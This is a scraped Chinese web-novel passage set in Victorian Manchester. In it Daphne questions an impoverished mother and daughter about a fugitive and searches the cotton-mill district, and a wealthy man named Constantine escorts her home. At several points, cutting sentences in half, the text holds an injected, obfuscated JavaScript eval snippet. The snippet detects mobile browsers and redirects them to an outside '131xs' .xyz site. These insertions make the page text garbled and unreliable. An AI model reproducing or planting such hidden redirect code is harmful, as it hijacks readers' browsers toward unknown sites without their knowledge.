狄默奇先生点头,对小姑娘露出一个温和的笑。 他和道奇往后退一些,让黛芙妮去交涉。 “我叫黛芙妮,你叫什么?”黛芙妮努力忽视臭味带来的痛楚,扬起笑来。 “派翠西亚!” 急促的脚步声奔来,是上次抱住派翠西亚的那个女人,她拎着一个烂篮子跌跌撞撞惊恐地扑倒在黛芙妮身前:“小姐,我们马上就能凑齐这个礼拜的房租,请求您再给我一天时间!” 派翠西亚拉大门缝,想要去扶她。 黛芙妮和狄默奇先生被她的举动惊了一下,两人合力将她拉起来。 “别担心,女士,我们不是房主。”狄默奇先生说,“我们只是有些问题想要找你们了解一下。” “您还记得我吗?”黛芙妮尽可能地让女人放松下来,“我在派翠西亚手上买过一次花,就在靠近教堂那片区域的主街上。” 这会儿她才敢仔细辨别黛芙妮的长相,她点头:“我记得。小姐,你们有什么需要我的?” “不如我们进去谈?”道奇打断他们,“有人看过来了。” 女人让派翠西亚不要杵在门口,然后拎起倒在地上的篮子,将滚落的土豆和干瘪的卷心菜以及几粒玉米粒放进去。 黛芙妮蹲下身帮她把玉米粒捡进去:“恕我冒昧,这里一周的房费是多少?” “一先令,不过这间尾房漏水只要十个便士。”就算是掉进污水里的玉米粒她也会捡进篮子。 黛芙妮蹙眉,很想说这样的吃了很容易生病,但她的嘴唇此刻黏得死死的动不了一点。 一进屋就被热气扑脸,很小的一间房一眼便能看全:一张瘸腿的、脚扭曲的小床、一张桌子,一个凳子、一个木箱,角落放着个破脸盆盛着半盆水。 派翠西亚坐在床上,将唯一的一张翘腿矮凳空出来。 黛芙妮三人没说坐下也没说要喝水,而那女人也什么都不说,除了一开始之后她都有点愣愣地包括她的女儿。 道奇将门关上,逼仄的空间更难熬了。 黛芙妮接收到爸爸的眼神,说:“这位太太?怎么称呼?我叫黛芙妮·狄默奇,这是我爸爸,这是道奇先生。” “妮可,不是什么太太。”她抱着派翠西亚坐在床边小声说。 “妮可女士,我们这次来是想向您和您的女儿寻求一些信息,”黛芙妮说,“不知道派翠西亚还记不记得曾经给一个男人送过信,地址就在牛津路一百零八号。” 妮可抓抓脸颊留下一道道灰黑色的污渍,她有些迷惑:“派翠西亚有一天从外面回来带了几粒糖碎说是酬劳,还有一次从外面带来了一个破旧的玩偶,前天更是带回来了一枚鸡蛋,噢,上帝,她一定是从哪里偷来的,可我有什么办法呢,我总不能眼睁睁看着她饿肚子吧......” 黛芙妮三人没有打断她,直到妮可自己反应过来有些惊慌:“天呐,我说了什么?你们刚刚问的是?” “派翠西亚有没有去牛津路一百零八号送过信?”黛芙妮耐心地说。 “我没有印象,派翠西亚一般也不会出去。”妮可眼神又开始涣散,“也许我该喝口水。” 狄默奇先生让道奇出去买些面包回来,他看出这对母女反应迟钝很可能是长期饿肚子营养不良导致的。 道奇很快离开。 黛芙妮蹲在地上和派翠西亚视线持平:“派翠西亚你有印象吗?” 派翠西亚过了两秒才点头。 黛芙妮心里高兴:“你还记得那个男人和你怎么说的?你们在哪里遇见的?” “给我糖块,我说‘好’。”派翠西亚说,“在安科茨,他的鞋底有很多棉花。” “安科茨?”黛芙妮疑惑地看向狄默奇先生。 “那是曼彻斯特最大的棉纺基地。”狄默奇先生解释,“离休姆街区不远。” “是不是火车站那块地方?”黛芙妮问。 “大概是的。”狄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16483635|184350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 默奇先生说。 黛芙妮又转过头,轻声轻语地问派翠西亚:“你送过几次信?” “两次,第二次没有碎糖末。” “你知道他住哪里吗?或者说你们见面的地点都是在同一个地方吗?” 派翠西亚摇头:“棉纺基地,晚上。” 这是很重要的线索,黛芙妮和狄默奇先生认真记下。 而派翠西亚这里也问不出更多的信息了,黛芙妮和狄默奇先生只要等道奇回来就可以离开。 在这点时间里,黛芙妮的目光隐晦地落在了派翠西亚右手长长的袖子上。 妮可的注意力又短暂的回来了,她突兀的一把握住派翠西亚的右手,一边可怜兮兮又警惕地盯着黛芙妮。 黛芙妮咽下想说的话,对她们露出一个笑。 道奇拎着两袋燕麦面包和几瓶牛奶回来,从他一进屋妮可和派翠西亚就牢牢锁定了他手里的东西。 两道肚子发出的哀嚎黛芙妮听得一清二楚,她站起身将面包袋子打开拿出两片递给她们。 “小姐,我们没有什么可以交换的。”妮可咽着口水说。 “我们已经交换过了。”黛芙妮说,“拿着。” 妮可和派翠西亚狼吞虎咽的往嘴里塞,根本就没有咀嚼这个动作也不管自己的喉咙咽不咽得下去。 妮可的脸涨的通红,她干呕几声,舍不得面包脱离口腔她用手使劲地按压。 狄默奇先生打开牛奶给她。 妮可摇头,她从小箱子里拿出一个破杯子,急切地喝起来然后细心的喂给派翠西亚。 “这些都是给你们的。”狄默奇先生怕对方以为这些要付钱特地解释一句,“你们的报酬。” 黛芙妮从口袋里摸出一枚英镑又看了一眼面前这对明明饿得不行却不肯再吃面包和牛奶的母女,思索后换成了二十枚先令。 她伸出手,派翠西亚盯着硬币下意识地探手然后又触电似的往回缩。 “报酬,第二次送信和这次的报酬。”黛芙妮拽住她的右手将硬币放在她手心。 离开地下室,道奇深深吐气:“再多待一会儿,我就无法呼吸了,太糟糕了!” 黛芙妮重新系上丝巾,挽上爸爸的手,闷闷不乐。 “女王真应该来看看,她引以为傲的纺织业是用什么带来的。”狄默奇先生看了她一眼突然说。 “爸爸,你说女王是真不知道还是她比谁都清楚?”黛芙妮问他。 “至少我从不会忽视我的收入是怎么来的。”他说,“但是女王要管偌大的国家,很多时候她也会使不上力。” “也许是能的但她选择忽视。”黛芙妮说。 “你也不可否认科技的高速发展,这是代价。” “爸爸!你支持这样的行为!”黛芙妮不可置信地看他。 “别急着给我下定论,黛菲。”他认真地说,“想要得到就必须付出,但这个付出我认为太过了。” “你说得多,买面包也需要付出钱。”黛芙妮说,“没有这些工厂也许他们会过得更惨,没工作没收入......但就像您说的,太过了。” 22. 棉纺基地 从休姆街区出来,狄默奇先生打算先将黛芙妮送回一百零八号,然后他一会儿由道奇赶马去一趟警局。 “你们终于回来了。”卡丽拍打胸脯,手里端着一叠黄油饼干。 黛芙妮把丝巾解下来吐口气:“辛苦你了,等会儿我拿去楼上。” “小姐,你看看你的鞋和裙摆,天呐,我严重怀疑你们去了乡下!”卡丽喊着,“快脱下来,我拿去刷一刷。” 黛芙妮顺从地脱下沾满污渍的牛皮靴,狄默奇先生婉拒了说他还得出门一趟。 “看来事情很顺利。”卡丽观察到他们面部表情还算放松。 “有点消息。”狄默奇先生说。 道奇驾着马车停在门口,他瞧见后喝了口水就走了。 卡丽拿过靴子去了后院,黛芙妮端起饼干轻声回到三楼换了干净的裙子,将头发散下来确保没有一点外出过的痕迹。 她来到二楼敲响了爸妈卧室的房门。 “进来。” “妈妈,今天好些了吗?”黛芙妮推门进去第一件事就是拉开窗帘,驱散卧室的沉闷。 狄默奇太太哀愁地靠在床头,听到她问露出一点笑意:“很好。” “妈妈,最近天气热起来了,我们需要做新衣服、采购新的窗帘和地毯还有花瓶,你不会想我一个人去的对不对?”黛芙妮坐在床边握住她的手说。 “天呐!黛菲,我真是一点都没记起来,抱歉最近一直是你在维持家里的运作。”狄默奇太太直起身子,愧疚地抚摸黛芙妮的脸颊,“也许我们可以参加这周的主日,然后下午去采买。” “太好了。”黛芙妮高兴地说,“贝拉告诉我河边有个市集的花店很不错,他们有卖蓝铃花。” “太贵了,”狄默奇太太说,“在利物浦要十枚先令,我想曼彻斯特会更贵的。” “我才不买。”黛芙妮说,“难道我看看也会把我赶出去吗?但这样我也赚了,那可是金子做的鲜花。” 狄默奇太太被她哄得笑出声,过了一会儿她又愁眉苦脸起来:“安娜有乖乖的吗?” “是的。”黛芙妮不想说什么安娜上次被她的话吓破胆了的事引得妈妈伤心,“没有绝食、没有反抗、没有乱发脾气。” “你爸爸昨天和我说打算把安娜送去伦敦,你舅舅家。”狄默奇太太说。 “阿德勒舅舅?”黛芙妮诧异。 “你舅舅一家住在乡下,接触到的邻居和事务都不多,适合如今心思杂乱的安娜去休养。” “什么时候?” “也许就这几天。”狄默奇太太说着又开始流泪,她撇过脑袋望着窗外。 黛芙妮沉默片刻让她好好休息,退出了卧室。 对于爸爸的安排,黛芙妮一般不会出言反对,让安娜去舅舅家对他们来说倒是个好的处理方法,只是希望安娜不要给舅舅一家添麻烦。 到了中午狄默奇先生坐在餐桌上,精神紧绷低迷不见好转。 “黛菲,他们说这消息早就了解了但没有任何收获。最关键是那片区域的厂主们并不好惹,搜捕会影响他们的开工时间和效率,一旦没有结果警局要付出的代价太大了。”他说。 黛芙妮不懂他的意思:“所以,这件事就这么结束了?” “不,艾莫斯毕竟牵扯到两起案件,所以我猜测如果长时间抓不到人他们很可能胡乱地用过激手段,毕竟你不能确保每个警官都受过高等教育。”他说。 “我不明白,”黛芙妮放下杯子,“既然他牵扯两起案件,难道没人害怕他再次伤害人吗?” “他在棉纺基地活动,对警官和工厂主来说,工人不值钱。”狄默奇先生说,“当然如果他在这片地区活动那又不一样了,至少隔壁的亨斯通先生就会以律师的身份要求他们尽快抓捕且尽量不要伤害无辜的人。” 黛芙妮生气地捂住额头,既然工厂主怕没有目的的搜捕影响他们赚钱,那要是他们能锁定在一块地方是不是会让步。 对于这些资本家来说,什么都没有英镑重要,毫无良心、道德和底线,披着人皮的恶魔。 “别担心,如果他们还是没有收获,我会去问问艾肯先生,我的女儿绝不会进警局。” 这场对话最终还是在黛芙妮的无言的苦笑中结束。 她思考了一整个晚上觉得不能坐以待毙。 这些警官果然什么都不能指望,只会对平民百姓施压展示自己的权威。 一个从不做体力活对曼彻斯特毫无熟悉感的逃犯都抓不到,任由他的存在威胁到无辜的狄默奇一家。 她不想以嫌疑犯的可能踏进那个光鲜亮丽却毫无作用的地方,也不想刚刚稳定下来的生活被打破。 “主,您会保佑您忠实的信徒,对吗?”她盯着月亮低喃。 第五日,黛芙妮在狄默奇先生出门后,等道奇再次出现在一百零八号门口立刻上车。 “小姐?”道奇摸不着头脑。 “去棉纺基地。”黛芙妮说。 “你一个人?”道奇惊呼。 “是的,动起来!” 道奇犹犹豫豫地最后还是甩下马鞭。 浓烈的煤烟味,如大雪般的却会让人窒息的棉絮,这是黛芙妮下马车后的第一所见所闻。 “小姐,你要去哪里?”道奇拽紧马绳问。 “我不知道。这些工厂附近有住宅区吗?”黛芙妮问他。 “有的。” “需要身份登记?” “是的,不是工厂的员工是不可以住的,这里和休姆街区不一样。” “有那种不需要身份登记就能住的地方吗?” “大概是没有的。” 没地方住,但是派翠西亚又是在这一片区域碰见艾莫斯的,那他不住在这里为什么要躲在这儿呢,难道是因为人多眼杂行踪不好泄露? 可他总得找个地方睡才行,否则以现在的天气没有一个遮风挡雨的地方绝对会冻死的。 没有头绪,不想白白浪费这次机会,黛芙妮最终还是决定走一趟。 “我没有办法陪你,小姐。”道奇为难道,“一旦没有人在马车边上很可能被那些难民拉走,通常他们团伙儿作案没人抓得到。” “我自己去。”自从去过休姆街区并且发现工人并不是都那么可怕后,对于自己一个人去探索棉纺基地似乎也没那么困难了,黛芙妮对他说,“你就在这里等我,我很快回来。” “如果出了什么事,先生一定会把我扔进监狱的。”道奇想要打消她的想法,“不如等先生回来你们再一起去?” “别担心,我很快就出来。”回去等爸爸下班那得明天才能来,他们现在没那么多时间折腾。 黛芙妮扶正帽子,确认身上的衣着朴素、袋子里那把匕首老实地待着,她对自己这趟行程有了信心。 站在那条宽阔的主街道的头里,望着眼前那片巨大的黑色厂房和人工制造的乌云白雪,坚定地踏出第一步。 这会儿是上工时间,耳边基本上只有轰隆隆的声音,装货、卸货、运货,工人忙得抬不起头。 黛芙妮静悄悄地 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16505027|184350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 从他们身边走过。 这条街全是货车,直到走到尽头往右拐终于有了另外的场面。 两侧是各式各样的店铺,大多昏暗、窄小。 蒸汽机维修铺?、?纺锤专卖店?及?锅炉零件商最多,其次是酒馆、便士食堂和流动餐车,这里一家书店都没有。 来往的几乎是些穿着灰扑扑、脸上也沾着灰的工人,偶尔有几位衣着鲜亮的人路过,认识他们的工人都会躲到一边,看起来是有权势的人。 “布克死了。” 黛芙妮听到走在她前面的三个工人谈话。 “阿特金森不会允许我们请假的。” “混蛋!如果不是他布克不会死!” 过了一会儿。 “我打算晚些去看看,布克还有三个孩子靠他老婆撑不下去的。” “班克斯同意你请假?” “不,我是说下工后。” “你打算给多少?” “刚刚交了这个月的房租,剩下一点本来想攒起来给桑尼找个工作。” “哪里?” “‘大西洋’,那儿好歹有鼓风机,而且那里也是少数没有实行短期工时制的地方。” “要不少钱吧。” “最好还是走出去。”一个胖子说。 其他两人笑出声。 “你真敢做梦。” “我想坐在纺机前总比坠入矿坑强。”想要为孩子找出路的人说。 三人拐了弯和黛芙妮分开。 她吐出一口气,左右观察,又走到街道尽头了,前方两侧就是工厂的大门和通往其他工厂的小街。 拿不定主意去哪儿,她往回看身后是一辆流动餐车。 正好此刻没人在摊位前购买,她打算和那个女人打听一下。 简陋的摊位,斑驳的碗筷,女人手里握着一块木片正在挥赶蚊虫。 黛芙妮刚走过去,她就问:“小姐,想吃些什么?最低只需要一个法新。” “我——”黛芙妮盯着眼前的鳗鱼冻和血肠实在是开不了口要一些,索性不为难自己,“我想问问这里主要有哪些工厂?” 见她不买还要问东问西,女人不乐意了。 “谢谢。”黛芙妮从袋子里拿出一个便士给她。 对于他们来说一个便士可不少,便士食堂的一份土豆炖菜加黑面包套餐也就一个便士的价格。 女人在这里卖一天的食物收入不过几个便士,如今说点公开的消息就能白得一个便士她立马露出笑来。 “最大的工厂是‘大西洋’、‘淘金场’、‘汉堡’、‘查普曼’,还有很多中型工厂......”女人说,“如今不少小工厂都倒闭了。” “如果没有身份证明可以到哪里租房子?” 对方多看了她一眼,但也告诉她:“去西南角,那里有一片棚屋,不过每隔几天警官就会去那里抓人。” “没有其他地方了吗?不会被警官找到的地方。” “大概只有那些工厂里才不会有警官进去,不过你别想了,进不去的。” 显然是把黛芙妮当成了没身份的人。 “要是被发现,那些工厂主可不会把人好心地交给警官,他们有一套自己的惩罚。” “谢谢。” 黛芙妮见有人过来,和她道别。 派翠西亚说艾莫斯鞋底有很多棉花,刚刚那个女人说只有工厂不会被搜查,所以艾莫斯很可能聪明地躲到工厂里去了。 但是这里的工厂很多,他会在哪里呢? 23. 走访 黛芙妮走到离她最近的第一家工厂面前,那些进出的工人都好奇地观望她。 然后她又走向第二家,第三家......奇怪的是有些厂房看着还好却没有一个人在上工,后来想到那女人的话,大概率这些就是倒闭的工厂。 “黛芙妮小姐?” 黛芙妮心猛地跳了一下,惊慌转头,在这里会有谁认识她? “路威尔顿先生。” 他比黛芙妮还诧异,眉毛拱起,薄唇抿得很紧。 他刚从一家酒馆出来,后面还有几位和他一样穿着精致高档的男人。 “康斯坦丁,你见到谁了?”一个秃顶矮胖的中年男人问。 “一个熟人。”路威尔顿先生对他说,但眼睛却一直瞧着黛芙妮,“我先走了。” 说完才对那几个男人点头然后朝黛芙妮走去。 “黛芙妮小姐,你怎么在这里?”他语气比之前的哪一次都要冷硬,黛芙妮居然还听出了一点生气。 “我——在熟悉曼彻斯特。”黛芙妮说。 “这地方不适合你,也没必要了解它。”路威尔顿先说。他长得高,天生冷脸,总给人一种居高临下的感觉又或许这也正是他想给人的感受。 听他说话黛芙妮就容易生气:“为什么?” 一般来说女士不会顶撞男人的话,黛芙妮硬邦邦的反问有些出格但是康斯坦丁不介意。 他说:“这里不适合你来,有很多难民和工人。” “你觉得他们有多危险?”黛芙妮问。 “抢夺你的财产、伤害你的身体、摧残你的精神。”他眼里有些厌恶,不太乐意说到这个话题。 突然想起来对方曾经是在这样的环境中长大还有可能受到过伤害,黛芙妮有些愧疚,她缓了语气和他道歉又感谢他的好意。 “所以,你一个人来?”他越问表情越不好看。 “是的,我就是不知不觉走到这里。” 看出她没说实话的康斯坦丁闭上嘴,大概是和他没什么好说的又或是嫌他碍事。 “先生?”黛芙妮看他不说话又不走,有些疑惑。 “黛芙妮小姐,我认为你最好马上离开这里,就要到工人午餐时间了。”他说。 对于他的建议黛芙妮倒也听进去了,可是现在就离开是不可能的因为她什么都没得到。 “我马上就回去,感谢您的提醒。” “是否需要我的帮助?”在黛芙妮离开前他又一次问。 “不,我的车夫就在不远处。”黛芙妮拒绝。 康斯坦丁摸上帽檐目送她离开,注视她的背影直到消失。 捏着手杖的手青筋浮现,两个呼吸间又变回了他一贯的样子,随后大步走向身后的马车。 黛芙妮站在一家工厂的背后,瞧见几个女人合力拎着一个大木桶从铁门出来,然后将里面的黑水倒进路边的水槽。 她站在铁栏杆后,观察到如果从这里进去被发现的概率很小,比如现在她就可以利用这点时间钻进去,然后躲在那几个大箱子后面。 那几个女人一看就是在厨房做工,显然工厂配有食堂,那么在里面捡些食物也不难,仓库里的棉花堆积成山能做到良好的保暖。 棉纺厂确实是个很好的躲藏之地。 她绕到工厂前方,抬头只见大大的‘汉堡’字样挂在铁门上。 接着她又走了好一段路,找到了同样几家有食堂的工厂,且都是大工厂。 叮铃铃! 铁门打开,紧接着大批量的工人从四四方方的黑盒子里钻出来。 黛芙妮脚步一转,加速朝来时的方向走去。 人越来越多,落在她身上的目光也越来越密集。 她捏紧了包袋,没有选择从小巷回去而是选择走主街道。 “黛芙妮小姐。” 莫名地有些安心,她转过身:“路威尔顿先生?” 豪华的四轮大马车停在她身侧,路威尔顿先生从上面下来。 他气质突出显得不好接近,语气带有几分不满和生硬,话里话外隐隐谴责黛芙妮不听话乱跑。 黛芙妮脸泛红晕,是尴尬、心虚和被不熟悉的人责怪得不舒服,她问对方有什么事。 康斯坦丁很久没有感受过失意的滋味了,让他回想到了过去,可也知道他惯用的手段在此刻都失去了能力。 他一下马车,那些工人自动离他们三米远,大部分选择低头来躲避他的眼神。 “请给我一个机会,将你带到安全的地方。”康斯坦丁迟缓又熟练地请求她的同意,他没有觉得恼怒只有忐忑。 黛芙妮很吃惊,不过她看看周围也认为这时候有个认识的男人在身边会好些:“谢谢。” 康斯坦丁死水般的心总是因为她一个眼神,一句简单的话就暗潮汹涌。 他伸出手臂好让黛芙妮借力上马车。 虽然路威尔顿先生总给她一种过于冷淡的感觉,但今天她也算是体验到了他的绅士风度。 没有犹豫将手贴在他光滑的袖子上坐进马车。 柔软的皮坐垫让走了很久路的黛芙妮感到舒适,她悄悄地放松背部贴在软垫上。 “车夫在哪里等待?”路威尔顿先生上车后问。 “在棉纺基地外的主路上。”她说。 路威尔顿先生拉开一点窗户对车夫说了地址,车夫操控马匹朝另一边驶去。 在这样密闭的空间里,如果不说话那就太难熬了。 更何况这条路做得不够平整,偶尔黛芙妮的裙角会贴在路威尔顿先生的腿上,奇怪的气氛在寂静的空间里肆意地蔓延。 为了摆脱不自在,黛芙妮决定和他随便聊聊。 “先生,您的工厂是在这附近吗?” “是的。”将目光从她的裙角挪开的路威尔顿先生说。 黛芙妮以为他觉得被冒犯了,立马将裙摆收拢保证不触碰到他。 路威尔顿先生果然不再看裙子而是将眼神放在了她的脸上。 “前段时间您借走的那本书看完了吗?”黛芙妮绞尽脑汁地想话题,“它是否值得您花费时间?” 路威尔顿先生点头,过了一会儿才开口:“值得。” 黛芙妮闷得慌,一个劲地想怎么还没到。 “不舒服?”康斯坦丁见她深呼吸,担心是不是空间太小空气不够流通,他拉开帘子将车窗打开一条缝。 “为什么不全拉开?”黛芙妮见他的动作问。 “棉絮太多了,更多的是肉眼无法看见的。”他说。 “我听说吸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16517528|184350||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多了粉尘、棉絮肺里会生毛病,是真的吗?”黛芙妮问。 “是的。” 黛芙妮露出恍然大悟的表情,然后又隐晦地打量他,好像没见他像卡彭特太太那样时不时地咳嗽。 “我很健康。”路威尔顿先生说。 他不愧是成功的金融家,有着非常敏锐的洞察力。 “您每天都会来吗?”黛芙妮问。 他摇头:“一周一次。” 又结束了一个话题。 “我会不会烦到您了?”黛芙妮心里不大高兴,问他。 “没有。”路威尔顿先生很快答复,“是我哪里给了你错觉?” 黛芙妮笑了起来,她惯常用笑容代替一切情绪:“总是我在问您,您一定觉得我太会说话了。” “我不是一个善于言辞的人。”康斯坦丁垂下眼帘认真地说给她听,向她解释他不是有意冷淡的。 黛芙妮却觉得他在说谎,因为狄默奇先生很明确地说过路威尔顿先生是个侃侃而谈、行为举止大方得体的绅士。 也许他在处理与女士的关系上有所欠缺,可他冷淡的态度却是实打实的。 “这很正常,您别有负担。”黛芙妮轻轻地回应他的话,接着转过脑袋假装沉迷外界的街景,不再释放想要交谈的信号。 好在他们到地方了,黛芙妮迫不及待地下马车与路威尔顿先生告别:“感谢您的帮助,祝您有美好的一天。” 路威尔顿先生沉默地站在四轮大马车边上没有动作,等那辆单马双轮轻便马车消失在他目所能及的终点才坐回马车。 他坐在黛芙妮刚刚坐过的皮垫旁边,盯着凹凸不平的痕迹,眼里是克制和渴望。 黛芙妮到一百零八号的时候正好赶上卡丽做好午餐,有过一次帮忙打掩护经验的卡丽这回游刃有余多了。 在她吃好后卡丽将狄默奇太太的午餐交给她,让她去楼上露露脸。 下午,黛芙妮坐在会客室编织手套,心里免不了去分析艾莫斯最有可能在的地方。 安娜难得地出了卧室门,在她身边坐下,从篮子里拿出一卷花边懒懒散散的琢磨花样。 喝了两杯红茶后,她才漫不经心地开口:“他哪天被执行?” “没有抓住。”黛芙妮头也不抬。 “没有?天呐!那些警官到底在做什么?”安娜不可置信。 就这点上,黛芙妮非常赞同她的观点,对于曼彻斯特的警官是非常失望的,他们似乎是一群只知道摆弄笔杆子的小孩。 “爸爸有没有去催过他们?” “没有用,虽然他们工作能力不突出但十分擅长摆弄自己的权势,你知道我的意思吗?”黛芙妮不是很想和她说话,但她还没学会怎么熟练地拒绝。 安娜重重吐口气,倒在沙发上:“我真不敢相信,他们有思考能力吗?这么多人居然还抓不到一个新手逃犯。” 她在黛芙妮的耳边烦了一下午才停息,也不是因为她大发慈悲而是狄默奇先生回来了。 现在的安娜就像老鼠一样见不得猫爸爸一眼。 同时来的还有路威尔顿先生。 黛芙妮还以为惠特妮说错名字了,不然怎么这位有些日子没上门的先生突然造访。 说来他们今天上午还见过。 24. 告状 安娜趁狄默奇先生和路威尔顿先生在门口摘帽子的工夫,轻手轻脚地往楼上跑。 黛芙妮放下手套,拍拍裙子上的褶皱站起身等两位先生进来。 “黛芙妮小姐。”路威尔顿先生站在门口,往右边走几步就到了大会客室,见到黛芙妮先一步打招呼。 “路威尔顿先生。”黛芙妮笑说。 狄默奇先生刚脱了帽子,在解领口最上面略紧的扣子:“康斯坦丁是来换书的,顺便再借阅一本新的。” 他解释给黛芙妮听。 “您太客气了,让仆人送来就好何必自己辛苦跑一趟。”黛芙妮对路威尔顿先生说。 狄默奇先生一时搞不定那颗扣子,脖子被他勒出了一圈淡淡的红痕,黛芙妮上手帮忙。 “正好顺路。”路威尔顿先生的目光跟随她的动作,他背在身后的手缓缓收紧。 “呼!还得是你黛菲,不然我差点就被自己勒死了。”解开扣子的狄默奇先生说,“来吧,康斯坦丁,去书房看看你想要哪本。” 他带着路威尔顿先生去了书房。 卡丽听到动静手里还拿着衣架就冒出头来:“小姐,晚餐需要多准备一道主菜吗?如果需要牛肉或者鱼类,我得立刻出去一趟。” “去吧。”黛芙妮看了眼摆在壁炉上的小钟表,“拿一瓶雪莉酒用作餐前开胃,波特酒用作餐后佐甜点的。” 卡丽点头,叫来惠特妮去地下室把剩下的衣服熨烫起来然后麻利地解开围裙去找她的菜篮子。 现在离晚餐时间不远,她动作必须足够快才行。 惠特妮接受了熨烫衣物的活,那给客人上茶点黛芙妮就说她来。 她在厨房的碗柜里拿出一套银质茶具:“红茶、饼干、黄油和两碟子糖块......” 想了一圈又拿出一些茉莉花瓣放在杯子里,增添一点风味。 用力托起,为了防止手臂发酸撑不住她一鼓作气来到书房。 门没关,没等她空出一只手去敲墙壁,正对着的路威尔顿先生三两步上前接过。 “谢谢。”黛芙妮偷甩手臂,对他说。 “我正渴得不行。”狄默奇先生说着倒了两杯茶,其中一杯递给路威尔顿先生。 黛芙妮打算离开。 “黛菲,”狄默奇先生叫住她,拉她往门头走了几步小声说,“我邀请康斯坦丁留下吃过晚餐再走,你得和卡丽说一声。” “事实上她已经出去了。”黛芙妮说。 狄默奇先生点头:“餐桌上必须要有安娜。” “我会和她说的,爸爸。” 黛芙妮利索地上到三楼敲响安娜的卧室门,告诉她晚餐必须下来吃。 “我不去!” “那你自己和爸爸说。” “我不行的,黛菲你告诉我是不是那些警官来抓我了!” “是路威尔顿先生。” “只有他?” “是的。” 隔着门,黛芙妮听不清安娜的所有声音,但这会儿她不高喊拒绝就是答应了。 不管安娜怎么想,总之爸爸交给她的任务完成了。 黛芙妮又匆匆地去了二楼告诉狄默奇太太,她还是那副愁闷的面容,虽然对不能亲自招待路威尔顿先生感到万分抱歉,可拖着病体去也是真的坚持不了。 “一定代我道歉,黛菲。”狄默奇太太羞愧地说。 黛芙妮亲吻她的额角让她放心。 时隔多日,一百零八号的餐厅又出现了四个人。 黛芙妮坐在安娜的下边,路威尔顿先生的斜对面。她首先是向他表达了妈妈生病不能亲自招待的惭愧,接着又对他能来表示感谢和欣喜。 餐桌上,安娜几乎保持低头的动作不变,吃饱了也不敢开口说要离开。 康斯坦丁察觉出了异象,因为在他的印象里坐在对面的那位狄默奇小姐从来不是个安静的姑娘。 叽叽喳喳、没头没脑、粗俗虚荣才是她。 狄默奇太太生病没下来和狄默奇小姐畏畏缩缩一反常态的表现,都显露了一百零八号一定发生了什么。 如果是家庭口角问题,以狄默奇小姐常常目中无人和莫名的自信来说,不可能连话都不敢说。 而可爱的......黛芙妮小姐出现在棉纺基地就是一件很怪异的事,任何出身良好的小姐对那种地方都是避之不及。 所以他很肯定狄默奇一家出的还不是小问题。 但是他们不说他就只能当作不知道,主动拆穿是一件非常不礼貌的行为。他不打算破坏自己的形象,甚至他还想再堆砌点光鲜亮丽的东西。 接下来的时间里,他只聊一些浅显的话题且基本是狄默奇先生抛给他的。 在黑夜一点点侵蚀街道最后亮出胜利的星辉时,他起身离开。 黛芙妮坐在一边听他们谈论数学、科学只想打哈欠,安娜更是困的眯上了。 狄默奇先生猛地一声:“哈!”把两姐妹都吓清醒了。 “过几日,有一个学讨会你一定要来参加。”他说。 “如果您希望的话。”路威尔顿先生说。 见他要走,黛芙妮打起精神说着最后特定的话:“路威尔顿先生,路上小心,期待您下一次的到来。” “我会的。”尽管理智告诉康斯坦丁要管住自己的眼睛可欲望才是组成他的造物,放缓自己的语速只为了光明正大的看她。 他要再耐心一点,他完美的绅士外表是当下最受欢迎的。 安娜从头到尾都只是站在黛芙妮身后假笑,这会儿趁狄默奇先生还没注意到她,悄悄摸摸地又跑上楼了。 等狄默奇先生和黛芙妮转身没见她时,都无可奈何又生气地重重吐出一口气。 “爸爸,早些休息。”黛芙妮捏了捏肩颈说。 “我有些话要和你说,跟我来。”狄默奇先生语气有些严肃。 黛芙妮摸不着头脑,乖乖地跟上去。 狄默奇先生等她进来后关上书房门,接着去点煤气灯。 “什么事?”黛芙妮问。 “你今天为什么要去棉纺基地?”背对她的狄默奇先生说。 黛芙妮吃惊,一眨眼的工夫她就把线串了起来:“路威尔顿先生告诉您的?” “你是不是觉得他多管闲事?”狄默奇先生转过身问。 没错,她真是这么想的,原以为他愿意在棉纺基地给予她帮助不是那等冷漠的人,没想到却是个不解风情又爱告状的。 “黛菲,今天如果不是因为路威尔顿先生你能保证自己安然无恙地回来吗?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 